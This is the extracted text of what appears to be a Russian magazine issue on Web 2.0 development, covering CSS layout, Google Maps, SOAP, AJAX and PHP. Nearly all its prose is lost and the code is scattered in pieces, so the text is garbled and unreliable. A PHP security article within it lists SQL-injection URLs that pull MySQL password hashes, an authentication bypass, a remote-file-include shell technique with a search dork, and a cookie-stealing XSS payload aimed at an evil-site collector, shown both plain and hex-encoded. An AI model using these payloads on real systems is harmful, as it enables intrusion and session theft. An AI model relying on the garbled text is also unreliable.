</div>
logo_and_submenu logo submenu. :
.logo_and_submenu
{
clear: both;
}
.logo

{
float: left;
}
.submenu
{
float: right;
margin-top: 10px;
margin-right: 10px;
width: 400px;
background-color: gray;
padding: 10px 10px 10px 10px;
}
, . , .
:
<div class="horizontal_menu">
<span class="horizontal_menu_item">
<a href="#"></a></span>
<span class="horizontal_menu_item">
<a href="#"></a></span>
<span class="horizontal_menu_item">
<a href="#"></a></span>
<span class="horizontal_menu_item">
<a href="#"></a></span>
<span class="horizontal_menu_item">
<a href="#">-</a></span>
</div>
<div class="search">
<form action="" method="get">
<p><input name="" size="30" type="text" value="
..." />

<input name="" type="button"


value="" /></p>
</form>
</div>
, ,
.
. , .
.horizontal_menu
{
clear: left;
float: left;
padding: 7px;
}
.search
{
clear: right;
float: right;
margin-top: 5px;
}
. .
-
middle. vertical_menu_item, main.
: (breadcrumb, ) (content) .
<div class="middle">
<div class="vertical_menu">

<p class="vertical_menu_item">
<a class="white_link" href="#">
</a></p>
<p class="vertical_menu_item">
<a class="white_link" href="#">
</a></p>
<p class="vertical_menu_item">
<a class="white_link" href="#">
</a></p>
<p class="vertical_menu_item">
<a class="white_link" href="#">
</a></p>
<p class="vertical_menu_item">
<a class="white_link" href="#">
-</a></p>
</div>
<div class="main">
<div class="breadcrumb">
<a href="#"> </a>| <a href="#">
</a> </div>
<div class="content">
<h1> </h1>
<h2> </h2>
<p> .
. .
.
.
</p>
<h2> </h2>
<p>
.
. .
. .
</p>
</div>
</div>
</div>

width: 180px;
background-color: #1F1C5B;
color: white;

. .

}
.main
{
margin-left: 180px;
background-color: red;
}
.breadcrumb
{
background-color: #837C9B;
padding: 5px;
}
.content
{
background-color: #FDFDEF;
padding: 5px;
}
.middle
{
clear: both;
background-color: #FDFDEF;
}

.vertical_menu_item, .horizontal_menu_item
{
font-weight: bold;
font-size: 110%;
}

: ( ) 180 ,
( )
.
.
. :

, ? ?


.

, CSS:

<div class="copyright_line">(c) 2006


</div>
.copyright_line
{
clear: both;
text-align: right;
background-color: #837C9B;
color: white;
padding: 5px;
}

.vertical_menu
{
clear: both;
float: left;

. ,

IE Firefox

3 7

.horizontal_menu_item
{
padding: 3px 5px 3px 5px;
}
.vertical_menu_item
{
padding: 5px 5px 5px 15px;
}
.
.
. , , , ,
.
, . Web- The World
Wide Web Consortium (W3C).
www.w3c.org, . HTML CSS. , ,
,
, input,
, .
, ( )
! CSS-, (warning). , warning
.
.
: ,
.

. ,
,

3 8

HARD

MEDIUM

S P E

I A L
HTML CSS

.: -
, 2005
.. / 448
: 160

HTML
,
,
web-.


. HTML
, -
:
,
,

..
-
.
, ,
HTML. , CSS (
)
,

,
. CSS
.
,
HTML CSS.

Java-

JSP:

.: -
, 2005
. / 768
: 288
Java,


.
CGI- ,
: Java,
. JSP (Java Server
Pages) Java,
Java-
JavaScript HTML. ( JSP)
web-.
200

JSP:
, ,
, ,
cookie, ,
,
,
.

0 6

6 7


-, , WEB 2.0.
WEB-
WEB- .
?
,
,


{
D e f a G r u p p e }

web-
. ,
.
, .
, API, . .
API , HTML-, . API RSS (Really
Simple Syndication)
10, 20, 30 .. . RSS
HTML-.
.
API
. , API
Google Maps

. , Google Maps

. Google
Maps Virtual Earth Microsoft. -

. ,
Google Maps.
API , XML, PHP JavaScript.
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<title>Google Maps JavaScript API Example</title>
<script src="http://maps.google.com/maps?file=api&amp;v=2&amp;key=abcdefg" type="text/javascript">
</script>
<script type="text/javascript">
//<![CDATA[
function load() {

, ,


: $map->addMarkerByCoords($lon,$lat,$title = '',$html = ''), $lon ,
$lat , $title , $html
,
.
PHP .
,
. ,
.
- ,
.
RSS- (, MagPieRSS
http://magpierss.sourceforge.net). RSS del.icio.us, last.fm, flickr
,

HTML- 500 300 , . Google Maps, , JavaScript- GMap2.



(www.google.com/apis/maps/documentation). web
2.0
API Mashup,
API. ProgrammableWeb 200 API,
, 600
mashup . : ,
.
PHP. PHP , ,
web. PHP ?
. ?
,
. , . . SQL-, ,
.
,
.
:
CakePHP, Seagull, Symfony, Zend Framework - .
, . , PHP 5:
, .
,

. Google Maps
GoogleMapAPI PHPInsider (www.phpinsider.com/php/code/GoogleMapAPI) .

,
GoogleMapAPI
<?php
require('GoogleMapAPI.class.php');
// Yahoo API
$map = new GoogleMapAPI('map', 'YourYahooAppId');
// ,

$map->setDSN('mysql://USER:PASS@localhost/GEOCODES');
// API Google Maps
$map->setAPIKey('absdefg');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD
XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<?php $map->printHeaderJS(); ?>
<?php $map->printMapJS(); ?>
<!-- necessary for google maps polyline
drawing in IE -->
<style type="text/css">
v\:* {
behavior:url(#default#VML);
}
</style>
</head>
<body onload=onLoad()>
<?
$map->setCenterCoords(37.6170, 55.751729);
$map->printMap();
?>
</body>
</html>

if (GBrowserIsCompatible()) {
var map = new GMap2(document.getElementById("map"));
map.setCenter(new GLatLng
(55.751729,37.6170), 13);
}
}
//]]>
</script>
</head>
<body onload="load()" onunload="GUnload()">
<div id="map" style="width: 500px;
height: 300px"></div>
</body>
</html>

,
WEB-
.


? , , ?
,
WEB-
:
,
- .
, .

( )
, - .

. REST, XMLRPC,
JSON .
framework
,

, .
. Ruby On Rails
web- Ruby. Ruby
,
-, ,
. , ,
, , ,
. InstantRails
(http://instantrails.rubyforge.org/wiki/wiki.pl), Apache, MySQL Ruby
. , !

4 0


WEB-. -
( ,
THE MUSEUM OF MODERN BETAS
http://momb.socio-kybernetics.net). ,

, .
DEL.ICIO.US, FURL, SPURL .. ..
,
,
. , .

, , .
, , . , .
? . , .

PHP- RoR. CakePHP,


Symfony, PHP on Trax RoR PHP.
RoR , Ruby.
PHP- ,
fun , Ruby.
RoR - . Active Record.
, SQL-.
Active Record,
. C :
$sql = SELECT * FROM people WHERE person_id = 1;

0 6

6 7

$res = mysql_query($sql);
@person = Person.find(1)
. (
) person , , . , .. SQL-: ,
, . ,
Rapid Application Development ( ) .
RoR
(helpers),
AJAX- Ruby. Prototype
Script.aculo.us.
Script.aculo.us. JavaScript
, . , ... , : JavaScript
.

usability. , , .
JavaScript, Ruby, - . , PHP , Prototype.
$ ().
,
PHP. Prototype document.getElementById(id). , , $(id),
,
.
?
1.5.0 Prototype
($$) .
, , css-. $$(p.left) , left.

, . Event
. ,

.

,
alert,

$$(a.alert).each(
function(node){
Event.observe(node, click, function(e) {
alert(e.href);
document.location.href = e.href;
})
}
)
,
. , prototype
XMLHttprequest
(XHR) .
Script.aculo.us Prototype,
: , drag&drop, DOM-.
Prototype .


Effect.BlindUp($(id));
Prototype Script.aculo.us .
. ,

.
?
,
-
.
Google, , ( ) ,
, .. ,
.
,
, ,
. , . , .
, , , ,

, .
( ,

SYNC

Maxi Tuning

Total DVD

DVD

Total Football

Onboard

:)

Mountain Bike
Action

8-495-780-88-29 ( )
8-800-200-3-999 ( )

9 18

4 2

0 6

6 7

web-

WEB 2.0 ,

, ,
, . . WEB , , .
,
. ,


{ t h e k o n s t . n e t }

,
Web 2.0.
,
Web 2.0 , .
90-, , -.
. , , .
. , 1998
, , .
, ,
. 2001
, ,
. .
,
web . -

-
. -
, -mail , - (web) p2p-. , eMule, eBay .
. ,
, ,

.
Web 2.0.

OReilly MediaLive International.


-
, .
web Web 1.0.
, , DoubleClick Google AdSense, Ofoto
Flickr (www.flickr.com). mp3.com Napster, . ,
-

. . ,
Web 2.0:
WEB
,
.
, .
.
INTEL INSIDE.
, , ,
.

( gmail.com).


( ), (
) .
WEB- ,
: , , ..
,
-.

: eBay. , , , , , . , . 90-, , .
,

. -

4 3

, . -
.
, , -.

web- - Yahoo!,

. :
. ,
,
, ,
(
),
.
-, -
?
? , , , ?
, ,
, -, .

4 4

, . .
, -, -, , -
.
Web 2.0 eBay. ,
,
.
, ,
? , . , ! eBay : ,
.
,
, . .
.
, eBay , ,
, . ,
.
Web 2.0, . eBay API ,
eBay
.
.
, . , , ,

-, .

eBay

0 6

6 7

:
Windows Vista. ,
- , . , ,
-, . , .
, , -
, .
Web 2.0 (
, ) .
.
1768
Britannica,
CD, web- Britannica Online. , Britannica .
,
, .
Britannica


, .
-
.
, .
, , , . , .


( ) .
. ,
, . ,
? ,
.
, amazon.com,
- , ISBN ( , ) R.R.
Bowker.
, -

web-. - , R.R. Bowker, amazon.com.
, ,
, .
.
, !
, , ,
, , . ,
, , ,
. ,
( ! . Dr.). (,
)
,
, . ,
. ( , ) ,
, . ,
, .
. , ,
, ,
.
. , RSS
(Really Simple Syndication Rich Site Summary
). RSS-
.
, .
, XML,
. -

. , :)


.
RSS-,
, , .

.
HTML- , ,
, -.

BBC, CNN, Reuters, -
RSS
:
,
.
Web 2.0. ,
Web 2.0, infoware ( ). software ,

: , ,
MSIE, Mozilla Safari. ,
, , Web 2.0 . - ,
, . ,
eMule , eMule peer-to-peer,
Web 2.0.


, , - . ,
-

. , , , .
. Web
2.0 :

,
, .
, , . - , - . ,
-.
, Web 2.0

4 5

,
, web- windows-.
, .
web-,
, . ,
-
, ,
-
. -.
, AJAX,
. , ,
, .
.
: XHTML, CSS, DOM,
XML, XSLT JavaScript.
. AdaptivePath, PR ,
, , PC- ,

JavaScript ,
. , Gmail Google Maps , ,
GUI .
.
. Web 2.0, . ?

( )
(, ) . Web 2.0

C
-,

.
Google
,
.
?
, 2005 , Web 2.0
, web-
AJAX (Asynchronous JavaScript +
XML, JavaScript + XML). AJAX ,

:
, , . . .
, Web 2.0
.
,
Web 2.0.

Web 2.0 . ,

4 6

.
, .
.

Flickr, , .
.
,
, ,
, .
. 90-,

, , . web-,
. Web 2.0 .
,
, ,
,
. Web 2.0 .
, , . . , ,
Web 2.0,
Good work!,
- .
IP- -
, , , .
,
wiki.
,
-

0 6

6 7

amazon.com

. ,
, , ,
.
.
AJAX, . web 2.0
, myspace.com. Google.
myspace.com
, .
, , web 2.0,
. 19- Samy - AJAX Javascript,
CSS , . , ,
Samy .
,
.

: .
, . , , Samy, ,
.
POST- GET- . , , AJAX-
.
, , . web
2.0,
.
. , Web 2.0
, .
IT- - Web 2.0. Web 2.0 developer. , , , , Web 2.0,
2000 web-.
, - Web 2.0. : , .
,
, .
, ,
, -
, ,
Web 2.0

ADMINING

, :
ISA
EXCHANGE SERVER
MS SQL SERVER
IIS
WINDOWS 2003 SERVER

*NIX
CISCO


!
:
WINDOWS VISTA
. MICROSOFT.
. , .
BSD
, , BSD-.
. .
SPYWARE
. ADWARE. .
. .

4 8

0 6

6 7


PHP5 & NDEX.XML

WEB-.
? ? ?
WEB-

, ? !
. . , , . , - , .
Web- .
.
, ndex.XML web-, ndex.
. , web-
HTTP. web- RSS-
, , , .
web-
,
-


{ a l e x e y . s h o c k o v @ s p l e n d o t . c o m }


.
SOAP (Simple Object Access Protocol),
World
Wide Web. SOAP
, , ,
,
, .
WSDL. Web

Services Description Language (


web-) ,
web-
, ,
web-.
, ,
WSDL , web-.
web , .
.

, W E B -

HTTP

SOAP . , XML-RPC ( , SOAP).


, , .
ndex.XML web-,
( XML-).

web-,
Perl- ,

ndex.XML
, ,
, ndex,
, .

web- ,
.

, .

A R R A Y O B J E C T ,


- .
PHP5
web-, , ,
- , ,
, , , web-
.
!
, . -

YandexSearchGroup, ndex ,
.
YandexSearchQuery. web-
(), - ,
, , -

. web-
XML-
,
web-.
:
<?xml version="1.0" encoding="utf-8"?>
<request>
<query> &lt;&lt;
host='_'</query>
</request>
query
.
, host, .

prepareQuery,
query, .
, query
web-, XML-.
YandexSearchResponse. , : .
, ArrayObject (
php5,
). append, -

I A L
PHP5 and
MySQL Bible
John Wiley & Sons, 2005
1080
: 900
,
.
PHP5 and MySQL Bible (,
). , ,
web-. ,

PHP+MySQL , , Cookies.
,
.

HARD

MEDIUM

S P E

YandexSearchQuery ndex.
YandexSearchAnswer ndex. .
YandexSearchDoc .

4 9

Web-
:

.: -
, 2005 / .
240
: 164

web-. , eBay
(!) web-.
, REST, RDF, SOAP, XML
.
, ,
API web-. , web-: Google,
Amazon, eBay, PayPal, FedEx .

5 0

,
DOM-,
XML- .
public function __construct(DOMDocument $a)
{
...
$this->answerDOMTree = $a;
$docs = $this->answerDOMTree->getElementsByTagName('doc');
for ($i = 0; $i < $docs->length; $i++) {
$this->append(new YandexSearchDoc($docs->item($i)));
}
}
, , ( $response)
, $response[2].
YandexSearchDoc.
,

NUSOAP
{HORRIFIC@VR-ONLINE.RU}

Java .NET , web-


. PHP .
,
. NuSOAP PHP,

web-.

h t t p : / / s o u r c e f o r ge.net/project/showfiles.php?group_id=57663. ,
sourceforge.net,
, .
lib. , .
,

nusoap.php,
require_once:

0 6

6 7

,
.
, , ArrayObject, .
, . .
. ,
. web- ndex.XML
IP-,
, (ndex

). , web-.
( ),
( 1).
- ,

.

, , . :
<?php
require_once('lib/nusoap.php');
$server = new soap_server;
//
$server->register('getXMLFile');
//
function getXMLFile($filename)
//
{
if ($file = "$filename.xml")
{
$f = fopen($file, 'r');
$filebody = fread($f, filesize($file));
fclose($f);
return $filebody;
}
}
$server->service($HTTP_RAW_POST_DATA);
?>
nusoap.php. lib, .
, :

1. ndex?

.
web- . ,
.
,
(Service-Oriented Architecture SOA). , Microsoft Sun,
. ,
,

register
. .

, , .
service HTTP_RAW_POST_DATA.
. , :
<?php
require_once('nusoap.php');
$name = ' ';
$p = array('$filename'=>$name);
$client = new soapclient('http://yoursitename/server.php');
$result = $client->call('getXMLFile', $p);
echo $result;
?>
nusoap.php. $name, , .
,
. . , :

( ). soapclient:
$client = new soapclient('http://yoursitename/server.php');
URL
. ,
$client . :
$result = $client->call('getXMLFile', $p);
call SOAP-, , .
.
. PHP SOAP- . ,
Java .NET, . , ,
,
.

:

require_once('nusoap.php');

$server = new soap_server;


$server->register('getXMLFile');

$p = array('$filename'=>$name);

echo htmlspecialchars($client->request, ENT_QUOTES);


echo htmlspecialchars($client->response, ENT_QUOTES);

. , . -

soap_server, SOAP-.

$p
, -

,
, .

!
GamePost

Age of Empires III


Collector's Edition

Call of Duty 2
Collector's Edition

Command & Conquer:


Collection

$125.99

$99.99

$49.99

Diablo Action
Figure:

Necromancer

* * *

$42.99

5 2

0 6

6 7





( )

, AJAX
.
, -


. ,
-
?

A L E X E Y S H O C K O V
{ a l e x e y . s h o c k o v @ s p l e n d o t . c o m }

AJAX
web
web-?
( Apple,
), .
, web- -
.
(
) , -
-. AJAX , .
. (remote scripting) .
90-
Microsoft Internet Explorer IFRAME
Netscape Navigator LAYER. SRC,
. ,
,

.
1998 MSRS (Microsoft's Remote Scripting), Java JavaScript
web- .
, ,
JSRS JavaScript on Demand.
2002 AJAX. microsoft.public.scripting.remote , Java-
XMLHTTPRequest JavaScript. 2005 (
MS Internet Explorer Mozilla) .
, . AJAX
. AJAX
, -

. HTML
CSS , JavaScript (Document Object Model, DOM) XML
.
1 web-,
, AJAX.
,

. , .
, AJAX, ,
,
, .


(HTML, CSS)

HTTP-

HTML, CSS

JavaScript-

AJAX

HTTP-

HTML, CSS

- XML-

1. AJAX

5 3

, . , ,
, , , . AJAX- 2.
. ,
.

XMLHTTPRequest
, , web. , MS Internet
Explorer XMLHTTPRequest ActiveX-. , -
ActiveX, web-, AJAX,
.
ozilla Foundation, Mozilla Firefox, , XMLHTTPRequest,
- .
.
Opera XMLHTTPRequest, , ,
. Opera
.
, - XMLHTTPRequest , IFRAME,
. ,
. -,
, . -, :
IFRAME .
SCRIPT, SRC
, . .
GET
JavaScript.
,
Subsys_JsHttpRequest.
.
web- AJAX
. ,
web-

5 4

Gmail Google. , AJAX-. ,


.
. ,
, AJAX,
,
?
, , .

, ... , -

0 6

6 7

- ?

. ,
?
AJAX: ,
, .
, . , web- -

.
, ,
? , . , ,
Gmail,
ndex..
,

,
AJAX. -

AJAX

2.
AJAX

. XMLHTTPRequest , ,
.
. , AJAX !
, .
.
.
AJAX
. ,
, JavaScript .
Subsys_JsHttpRequest.
,
, : -
. , ,
Subsys_JsHttpRequest
PHP. ?
PHP web-. Subsys_JsHttpRequest
.
,
.


, . ,
, ,
.
. frontend ,
, . -
HTML- , JavaScript.
:
<script language="JavaScript" src="lib/
Subsys/JsHttpRequest/Js.js"></script>
checkUser,
. , .
,

user pass.
Subsys_JsHttpRequest_Js,
,
( ,
).
POST, GET,
GET- Subsys_JsHttpRequest_Js
.

require_once "lib/config.php";
require_once "Subsys/JsHttpRequest/
Php.php";

// Get information
var user = '' + document.getElementById('user').value;
var pass = '' + document.getElementById('pass').value;
// Create object
var req = new Subsys_JsHttpRequest_Js();
// Allow cashing queries
req.caching = true;
// Prepare object
req.open('POST', 'load.php', true);
// Send query
req.send({ u: user, p: pass });

// Set page encoding


$JsHttpRequest =& new Subsys_
JsHttpRequest_Php("windows-1251");
// Create users array
$users = array(
"vasia" => "ivanov",
"petia" => "vaseckins"
);
// Get query
$u = $_REQUEST['u'];
$p = $_REQUEST['p'];
// Check
$auth = false;
if (array_key_exists($u, $users)) {
if ($p == $users[$u]) {
$auth = true;
}
}

.
, ,
onreadystatechange.
, responseJS. / (
auth) result.
// After loading data this code are
automaticaly called
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.responseJS) {
// Put result in <div>
document.getElementById('result').innerText =
(req.responseJS.auth ? " !" : " !");
}
}
}
.
, ,
: XMLHTTPRequest
SCRIPT.
backend- .
. .

5 5

AJAX Subsys_JsHttpRequest_Php.
,
, win1251.
AJAX. , , $_REQUEST,
.


$_RESULT. Subsys_JsHttpRequest_Php . ,
responseText.
.
$_RESULT = array(
"auth" => $auth
);
, , .
. AJAX
Web 2.0. web , web. , Google Calendar
Google Maps,
AJAX , , - .
,
.
, ?

ARR

5 6

0 6

6 7

PHP-



.
, PHP-, , ,
,
,


{ D e f a

,
, .
:
.
- ,
, , .

G r u p p e }

, PHP-, ,
. (
js) (PHP), . ,
.
js- fValidate (
http://web.archive.org/web/20041111044016/www.peterbailey.net/fValidate).


, ,
. PHP,


.
. web-
, SQL-
PHP-, - , .
SQL-

SQL- ,
, , .
: (
).
,
,
, ,
. , , .
SQL-
. ,
(, )
: ID ( ) , .
ID , GET, , :
http://test.test/news.php?id=1
:
$query="SELECT `title`, `text` FROM
`news` WHERE `id`= . $_GET["id"];
, , ,
.
WHERE. ,
,
.
ID ( )
UNION , :
http://test.test/news.php?id=20+UNION+SELECT+null

,
.
:
http://test.test/news.php?id=20+UNION+SELECT+null,null
:
: HTTP://TEST.TEST/-

NEWS.PHP?ID=-1+UNION+SELECT+NULL,SYSTEM_USER(),NULL,NULL
: HTTP://TEST.TEST/NEWS.PHP?ID=-1+UNION+SELECT+NULL,DATABASE(),NULL,NULL

:
HTTP://TEST.TEST/NEWS.PHP?ID=1+UNION+SELECT+NULL,MYSQL.USER.PASSWORD,NULL,NULL+FROM+MYSQL.
USERS

SQL- .
, , :
SELECT * FROM `users` WHERE `login`='$login' AND `password`='$password';
$login $password ,
. ,
, .
,
, ,
, , . , : .
,
, ,
adm, _adm, admin, administrator, chief, boss .
-
, OR 1.
, , ,
:
SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR 1;
. PHPNuke 7.0 FINAL.
Survey.
SQL-, pollID:
www.victim.com/php-nuke/modules.php?name=Surveys&pollID=a'[sql_code_here]

.
PHP-

. include() require()
,

. PHP- ,
PHP web- -

5 7

.
. , include URL. ?
Google. allinurl: index.php?page=http:// ( ,
index.php action.php, module.php ..,
page url, uri module). Google
, URL allinurl: index.php?page=http://.
, , , - .
, - ,
Google, ,
,
. PHP (
unix-) .
*.txt :
http://mysite.ru/shell.txt.

URL :
index.php?page=http://mysite.ru/shell.txt.
.
? ,
. ?
.
, , , ,
.
. register_globals!
php , . , , , POST,
- c GETa, ( ).
: GET - , , , .

cross site
scripting (xss)
(Cross
Site Scripting) XSS. -
-

5 8

PHP-NUKE,
. , , .
WWW.PHPNUKE.ORG/USER.PHP?OP=USERINFO&UNAME=&LTSCRIPT&GTALERT(DOCUMENT.COOKIE);</SCRIPT>
WWW.PHPNUKE.ORG/MODULES.PHP?NAME=DOWNLOADS&D_OP=VIEWDOWNLOADDETAILS&LID=02&TTITLE=[JAVASCRIPT]
WWW.PHPNUKE.ORG/MODULES.PHP?NAME=DOWNLOADS&D_OP=RATEDOWNLOAD&LID=118&TTITLE=[JAVASCRIPT]
WWW.PHPNUKE.ORG/MODULES.PHP?OP=MODLOAD&NAME=MEMBERS_LIST&FILE=INDEX&LETTER=[JAVASCRIPT]

cookies, .


HTML- , tuj .
HTML-,
web- .
. test.php (name) .
http://host.test/test.php?name = <iframe src=http://some.server/scripts/file.exe></iframe>

.
XSS- web-,
,
js-. -

0 6

6 7

http://web.archive.org/web/20041111044016/www.peterbailey.net/fValidate js- fValidate


cookie , , .
cookie . ,
, cookie, ,
cookie ,

.
cookie
, - ,
URL HEX. , , .
.
, - , ( ?) .
XSS-. < > &lt; &gt;, ( ) &#40; &#41;
# & &#35 (#) and &#38 (&).
, .
,
CMS.
, , ,
.
, ,
,
.

,
, (!) .

1
! , , ,
,
.
, POST
GET, ,
$_COOKIE, . !

ASCII
XSS-
:
HTTP://TEST.HOST/TEST.PHP?VAR="><SCRI
PT>DOCUMENT.LOCATION='HTTP://WWW.EVIL
SITE.SERVER/CGI-BIN/COOKIE.CGI? +DOCUMENT.COOKIE</SCRIPT>
HEX
,
. ,
_URLENCODE -
:
HTTP://TEST.HOST/TEST.PHP?VAR=%22%3
E%3C%73%63%72%69%70%74%3E%64%6F
%63%75%6D%65%6E%74%2E%6C%6F%63
%61%74%69%6F%6E%3D74%65%2E%73%6
5%72%76%27%68%74%74%70%3A%2F%2F
%77%77%77%2E%65%76%69%6C%73%69%
74%65%2E%73%65%72%769%6C%73%69%
65%72%2F%63%67%69%2D%62%69%6E%2
F%63%6F%6F%6B%69%65%2E%63%67%69
%3F%27%20%2B%64%6F%63%75%6D%65%
6E%74%2E%63%6F%6F%6B%69%65%3C%2
F%73%63%72%69%70%74%3E

COOKIES

,
.


.
. , , , , .
3
SQL-,
( $id =
(int)$_GET[id]) .

4
,
.
, ,

PHP-.
js5
, .
2

6 0

0 6

6 7

,

. , , ,
, ,
!
NAROD.RU

? , narod.ru , , , .

, ,
: http://site.ru/download/download.php?id=19.
c :

(ADD.PHP).

(DOWNLOAD.PHP).

H A 5 H
{ h a 5 h @ m a i l . r u }

MySQL, .
CREATE TABLE `download` (
`uid` int(11) NOT NULL auto_increment,
`file` text NOT NULL,
`server` text NOT NULL,
`ops` longtext NOT NULL,
`click` int(11) NOT NULL default '0',
PRIMARY KEY (`uid`)
) TYPE=MyISAM;


(FORM_ADD.PHP).

download. :

, , (INDEX.PHP).

uid ;
file ;
server ;
ops ;
click .

. , .
- , id ( GET), .

. form_add.php
,
add.php. -

form_add.php download

,

( index.php)

download.php id

download.php , id , uid

If (id == uid) then


,
,

GET. ,
,
:
<input type=text size=30 name=filen>
;
<input type=text size=30 name=server>
;
<input type=text size=80 name=ops>
.
, linux.rar
http://mysite.narod.ru. , File
name linux.rar, Server name http://mysite.narod.ru.

/.
,
(add.php),
($put = "$server$file";) $put =
"$server/$file"; ( ).
add.php
MySQL, , , . :

.
.
. MySQL,
.

MySQL
print "<body bgcolor=000000 link=orange
alink=orange vlink=orange text=ffffff>";
print "<center><div style=backgroundcolor:orange;color:000000>Best
soft</div></center>";
.
,
:
$re=mysql_query("select * from download
order by uid desc");

: desc? .
, , , .
: :

mysql_connect($host,$user,"$password");
$host MySQL;
$user ;
$password .
. , download:
@mysql_select_db($base) or die("Base
Error");
$base ,
.

( ). , , :
mysql_query("insert into download values
('', '$filen', '$server', '$ops','0')");
,

*.php; *.php3;*.html;*.htm ..
,
.
, *.rar, . !
: $filen, $server $ops.

6 1

while($res=mysql_fetch_array($re))
{
print "<div style='border-left: 1px
orange solid;border-right: 1px orange
solid;border-bottom: 1px orange so
lid;padding:6px'>
<a href='download.php?id=$res[uid]'>
<b>$res[file]</b></a>
<div class=tekst>$res[ops]<br>
: ($res[click])<br>
</div></div>";
}
download
id,
.
download.php, , MySQL ,

, desc.
$id,
. $res[uid]

. , 1 , click
( click ,
) .
, ( 1).
,
, ,

,
. Flash Get,
, .
. , , .
,
www.h1.ru

1
while($res=mysql_fetch_array($re))
{
$click = $res[click];//
if ($id == $res[uid])// id uid
{
$file = $res[file];
$server = $res[server];
$put = "$server$file";//
$click = $click + 1;
mysql_query("UPDATE download SET click=$click WHERE uid=$id");
header("location:$put");//
}
}

S P E C I A L

I A L

S P E

6 2

D E L I V E R Y

0 6

6 7

web
2.0 , ,

.
, ,
.
WEB 2.0 ,

? -

WEB 2.0 ?

.

WEB 2.0?

(
D EFA G RUPPE): ,
Web 2.0 ,
. .
,
. , , .
, AJAX- , . , .

: ,

, .
, . , ,

.
web 2.0 ,
,
POP, PUSH. web 2.0 , .
,
.
. RSS, API,
. .

WEB

2.0 (

) ? WEB

2.0 -

WEB 2.0? -

: .
.
RSS-, ,
. ,
. Javascript ( web
2.0) , .
:
? web- Javascript
, .
Dia Awards (www.diawards.ru).

AJAX,
,
.

: . Google Mail,
News Alloy
,
. AJAX web 2.0
,
.
Web 2.0
, ,
. ,
. , intelliTXT Vibrant Media (www.vibrantmedia.com/si-

Dfa Gruppe
,
,

. ,
web 2.0.


(www.elementy.ru),
.
,
. Defa Gruppe, web
2.0, (www.devchat.ru),

Procter and
Gamble.
,
,
Wordpress
(www.mywordpress.ru).

6 4

S P E C I A L

D E L I V E R Y

te2005/web_02.html),


.
, web 2.0
:
, ,
.
.
PHP
,
.NET,
? PHP ?

: Microsoft

web- .NET.
Atlas
.
windows- - .
Yahoo windows-
LAMP (Linux + Apache + PHP + MySQL)
-
. .NET
,
Microsoft. .NET .
Framework Ruby On Rails, . Ruby ,
, PHP-
Ruby.
, Ruby .
Zend .
preview- Zend Framework (http://framework.
zend.com), web-. Zend Framework
PEAR, ,
.
Zend Studio,
PHP .


?

: Framework : .

.
PHP Symfony (www.symfony-pro-

0 6

6 7

ject.com).


Ruby On Rails, framework
.
.
, .
, Zend Framework
PHP-,
. framework , . . , ,
,
framework .

?
MACROMEDIA DREAMWEAVER , ,
:
, .
?

: , -
web-
HTML . .
rapid development ( ). , , ,
.

, : ,
PHP , Zend Studio,
, .
PHP-, Apache, PHP MySQL .
( )
WAMP (Windows + Apache + PHP + MySQL),
.
,
. , .

, Zend Studio. ,
,
,
.

Defa Gruppe

WEB-.
-,

, WEB-.
?

: . web- , ,
. web- : web ,
.
,
, web- . , ,
?
, web- web-.
. , , ,
-

. ( , ),
- .
.

.
?

: . . .
web 2.0 . .
, , -, . , ,
. ,
. ,
digg.com del.icio.us, . , , , ,

,
.

. , ,
, .
. RSS , , , ,
RSS-,
, - .
, RSS-.

CMS?
? ,
,
CMS .
.

: , ,
CMS :
.

6 5

, , ,
CMS , ,
. CMS
,
.
, CMS.
Drupal, ,
. . CMS , -
.
, CMS, . , CMS
, . ,
.
,
. web 2.0.

,

( ), , - O S -
(www.osbook.ru).

0 6

6 7

EASY

D E L I V E R Y

MEDIUM

S P E C I A L

I A L

S P E

6 6

.
SQL
.: -, 2006
/ .. / 288
: 86

HTML CSS

.: -, 2005
/ .. / 448
: 160

SQL (Structured Query Language)



. SQL

(), , ,
, ,
.
,

SQL.
SQL
,

.

.

HTML ,
, web. .
HTML , -
: ,
,
..
-
.
, , HTML. CSS
.
, HTML CSS.

.: -, 2005
/ . / 768
: 288

PHP

.: -, 2005
/ .. / 304
: 172

Java,

.
CGI-
, : Java,
. JSP
(Java Server Pages) Java, Java- JavaScript HTML.
( JSP) web-.
200

JSP:
, , , , cookie, , , ,
.

PHP

web, , ,
,
,
.


.
,
.
web,
,
.

MEDIUM

Java-

JSP:

EASY

HARD

HARD

Web-

PHP
MySQL
.:
, 2006
/ / 880
: 486

ActionScript 2.0.

.: -, 2006
/ / 576
: 360

6 7

HTML
,
.

web .
,
PHP + MySQL.


PHP MySQL,
CMS ( ), , - ..
:
-
PHP,
PDF web- .
,


PHP5 MySQL 5.0.

Flash , ActionScript. ActionScript 1.0,


:
, (- ). 2.0 .
. , ,
,
Java ++.
ActionScript 2.0
.

S P E C I A L

I A L

D E L I V E R Y

0 6

6 7

()



. Web- web-
.

.

: ,
,
web-
.

PHP-,
web . web- (
), - , Defa Gruppe
( ).
:
www.awards.ru (
Night Life Awards),
www.jorisvanvelzen.de
(
),
http://kino.mtv.ru (

2006, MTV).

, -, web-.
:
, , , ,

( ).
:
GreetingDepot Inc ( , ), . ( ),
DIA 2005 ( ),

2005 ( ).


,
, -. www.vseved.ru,
www.elitepen.ru Defa Gruppe.

, webe . Renault web-,



Defa Gruppe. : SoKia,
MTV 2006,


.


WEB?

S P E

6 8

: .
, : ASP.NET (
, HTML), C# (
,
..), XML . ,
, Visual Studio 2005. .
,
, Windows, , Linux Debian.
: C ++ (
STL, ( PERL,
), CORBA ( COM+ ,
Linux ), ( . DirectX - , Linux ). Linux,
...

6 9

: ,
PHP (- Perl). C++ . Java,
,
(
). Java ,
. PHP NotePad :).
:
?
,
, ...
,
.

: . , , ,
. , , .
:
. , , , , , , . ,
, - ,
. , , .
: , , , . , ,
.
:
. 1) . 2) . 3) .
. , . ,
. , , .
: . , , ,
usability,
, . , , , . . 1) , .
- , . 2) . 3) , , , . ,
:). 4)
, , / . ,
.
: , .
(, , ), .
, . , .
: , ... ,
.
, . , web , ,
